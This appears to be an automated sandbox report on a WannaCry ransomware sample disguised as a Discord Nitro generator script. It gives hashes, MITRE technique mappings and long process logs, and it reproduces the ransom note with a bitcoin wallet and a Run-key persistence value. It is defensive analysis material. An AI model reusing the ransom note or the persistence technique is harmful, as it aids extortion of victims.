wannacry | aba7c2b7ebc6c30c640d0b9560a39411e91862434633d049b8195ee64ef42686

Analysis

max time kernel
1799s
max time network
1803s
platform
windows10-2004_x64
resource
win10v2004-20240508-fr
resource tags

arch:x64arch:x86image:win10v2004-20240508-frlocale:fr-fros:windows10-2004-x64systemwindows
submitted
09-05-2024 13:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Discord-Nitro-Generator-and-Checker-main/main.py
Size

9KB
MD5

9e5ae8700307a28c5dce70de7cbac0ca
SHA1

6b1d93b55b999d0b26b892c8e04feeaf135a335b
SHA256

0cea085efa84ce9984c3309af33bc0d5fb80805234640488b7e0ced2294f46b6
SHA512

5e010795ecb62ea5446df604d7af8d940ed6e1746322eaf0744a9b72053936eaa690c50ee5fb35e26560f98283aff124661d51f643cf3d99551325c4c0952709
SSDEEP

192:E3RHnPQYk2aPybZNYwxWxf5eJofzreVydW390Rgd6VJEZKZ2cWPay:E3ZPoSWi390aYUL99

Score

10^/10

wannacry defense_evasion discovery execution impact persistence ransomware worm

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �

Wallets

115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

Signatures

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Drops startup file 2 IoCs

Processes:

WannaCry.EXE

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDA398.tmp	WannaCry.EXE
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDA3AE.tmp	WannaCry.EXE

Executes dropped EXE 64 IoCs

Processes:

taskdl.exe@[email protected]@[email protected]taskhsvc.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]@[email protected]taskdl.exetaskse.exe@[email protected]taskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe

pid	process
4708	taskdl.exe
1460	@[email protected]
960	@[email protected]
428	taskhsvc.exe
1080	@[email protected]
4492	taskdl.exe
1252	taskse.exe
5064	@[email protected]
4660	taskdl.exe
2152	taskse.exe
3320	@[email protected]
2464	@[email protected]
3444	taskdl.exe
1656	taskse.exe
3996	@[email protected]
2468	taskse.exe
3368	@[email protected]
1524	taskdl.exe
2412	taskse.exe
844	@[email protected]
2576	taskdl.exe
4860	taskse.exe
3052	@[email protected]
4772	taskdl.exe
4072	taskse.exe
1972	@[email protected]
1708	taskdl.exe
4636	taskse.exe
2332	@[email protected]
2388	taskdl.exe
4064	taskse.exe
2876	@[email protected]
2468	taskdl.exe
2216	taskse.exe
2148	@[email protected]
2952	taskdl.exe
2260	taskse.exe
3772	@[email protected]
3860	taskdl.exe
1960	taskse.exe
3560	@[email protected]
3480	taskdl.exe
1236	taskse.exe
4032	@[email protected]
4424	taskdl.exe
3132	taskse.exe
1880	@[email protected]
1736	taskdl.exe
4460	taskse.exe
4432	@[email protected]
2040	taskdl.exe
1708	taskse.exe
2684	@[email protected]
2396	taskdl.exe
3496	taskse.exe
4600	@[email protected]
1760	taskdl.exe
3200	taskse.exe
4388	@[email protected]
4664	taskdl.exe
2872	taskse.exe
4488	@[email protected]
2964	taskdl.exe
1268	taskse.exe

Loads dropped DLL 7 IoCs

Processes:

taskhsvc.exe

pid process

428 taskhsvc.exe
428 taskhsvc.exe
428 taskhsvc.exe
428 taskhsvc.exe
428 taskhsvc.exe
428 taskhsvc.exe
428 taskhsvc.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

3956 icacls.exe

pid	process
428	taskhsvc.exe
428	taskhsvc.exe
428	taskhsvc.exe
428	taskhsvc.exe
428	taskhsvc.exe
428	taskhsvc.exe
428	taskhsvc.exe

pid	process
3956	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ppcvxtmedh378 = "\"C:\\Users\\Admin\\Desktop\\WannaCry-master\\tasksche.exe\""	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service
T1102

Processes:

flow ioc

149 camo.githubusercontent.com

flow	ioc
149	camo.githubusercontent.com

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

WannaCry.EXE@[email protected]

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	WannaCry.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]

Drops file in Windows directory 1 IoCs

Processes:

mspaint.exe

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log mspaint.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exechrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133597353108636516"	chrome.exe

Modifies registry class 15 IoCs

Processes:

OpenWith.execmd.exechrome.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\py_auto_file\shell\edit\command\ = "%SystemRoot%\\system32\\NOTEPAD.EXE %1"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\.py	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\py_auto_file	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\䠔ꀨ㔀耀	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\py_auto_file\shell\open\command	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\.py\ = "py_auto_file"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\py_auto_file\shell	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\py_auto_file\shell\open	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\py_auto_file\shell\open\command\ = "%SystemRoot%\\system32\\NOTEPAD.EXE %1"	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\䠔ꀨ㔀耀\ = "py_auto_file"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\py_auto_file\shell\edit	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\py_auto_file\shell\edit\command	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	chrome.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3956 reg.exe

pid	process
3956	reg.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

chrome.exechrome.exetaskhsvc.exemsedge.exemsedge.exeidentity_helper.exemspaint.exe

pid	process
2912	chrome.exe
2912	chrome.exe
2524	chrome.exe
2524	chrome.exe
428	taskhsvc.exe
428	taskhsvc.exe
428	taskhsvc.exe
428	taskhsvc.exe
428	taskhsvc.exe
428	taskhsvc.exe
3956	msedge.exe
3956	msedge.exe
4012	msedge.exe
4012	msedge.exe
5080	identity_helper.exe
5080	identity_helper.exe
4772	mspaint.exe
4772	mspaint.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

OpenWith.exe@[email protected]

pid process

2556 OpenWith.exe
1080 @[email protected]
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

Processes:

chrome.exemsedge.exe

pid process

2912 chrome.exe
2912 chrome.exe
2912 chrome.exe
2912 chrome.exe
2912 chrome.exe
4012 msedge.exe
4012 msedge.exe
4012 msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exe

description	pid	process
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe
Token: SeShutdownPrivilege	2912	chrome.exe
Token: SeCreatePagefilePrivilege	2912	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

chrome.exe@[email protected]msedge.exe

pid	process
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
1080	@[email protected]
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe

Suspicious use of SendNotifyMessage 56 IoCs

Processes:

chrome.exemsedge.exe

pid	process
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe
2912	chrome.exe

Suspicious use of SetWindowsHookEx 64 IoCs

pid	process
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
1460	@[email protected]
960	@[email protected]
960	@[email protected]
1460	@[email protected]
1080	@[email protected]
1080	@[email protected]
5064	@[email protected]
3320	@[email protected]
2464	@[email protected]
3996	@[email protected]
3368	@[email protected]
844	@[email protected]
3052	@[email protected]
1972	@[email protected]
4772	mspaint.exe
4772	mspaint.exe
4772	mspaint.exe
4772	mspaint.exe
2332	@[email protected]
2876	@[email protected]
2148	@[email protected]
3772	@[email protected]
3560	@[email protected]
4032	@[email protected]
1880	@[email protected]
4432	@[email protected]
2684	@[email protected]
4600	@[email protected]
4388	@[email protected]
4488	@[email protected]
1456	@[email protected]
840	@[email protected]
376	@[email protected]
4688	@[email protected]
5012	@[email protected]
2276	@[email protected]
2508	@[email protected]

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

OpenWith.exechrome.exe

description	pid	process	target process
PID 2556 wrote to memory of 4112	2556	OpenWith.exe	NOTEPAD.EXE
PID 2556 wrote to memory of 4112	2556	OpenWith.exe	NOTEPAD.EXE
PID 2912 wrote to memory of 3476	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 3476	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 4752	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 2076	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 2076	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe
PID 2912 wrote to memory of 1956	2912	chrome.exe	chrome.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Views/modifies file attributes 1 TTPs 3 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exeattrib.exe

pid process

1984 attrib.exe
1440 attrib.exe
1488 attrib.exe

pid	process
1984	attrib.exe
1440	attrib.exe
1488	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Discord-Nitro-Generator-and-Checker-main\main.py
1⤵
- Modifies registry class
PID:3584

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2556

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Discord-Nitro-Generator-and-Checker-main\main.py
2⤵
PID:4112

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2912

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffefdc5ab58,0x7ffefdc5ab68,0x7ffefdc5ab78
2⤵
PID:3476

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1700 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:2
2⤵
PID:4752

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:8
2⤵
PID:2076

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2292 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:8
2⤵
PID:1956

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3108 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:1
2⤵
PID:4916

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3120 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:1
2⤵
PID:1416

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4308 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:1
2⤵
PID:4144

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4040 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:8
2⤵
PID:4452

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4600 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:8
2⤵
PID:1820

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4560 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:8
2⤵
PID:3568

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4556 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:8
2⤵
PID:4060

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4944 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:8
2⤵
PID:1080

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4632 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:1
2⤵
PID:2540

C:\Program Files\Google\Chrome\Application\chrome.exe
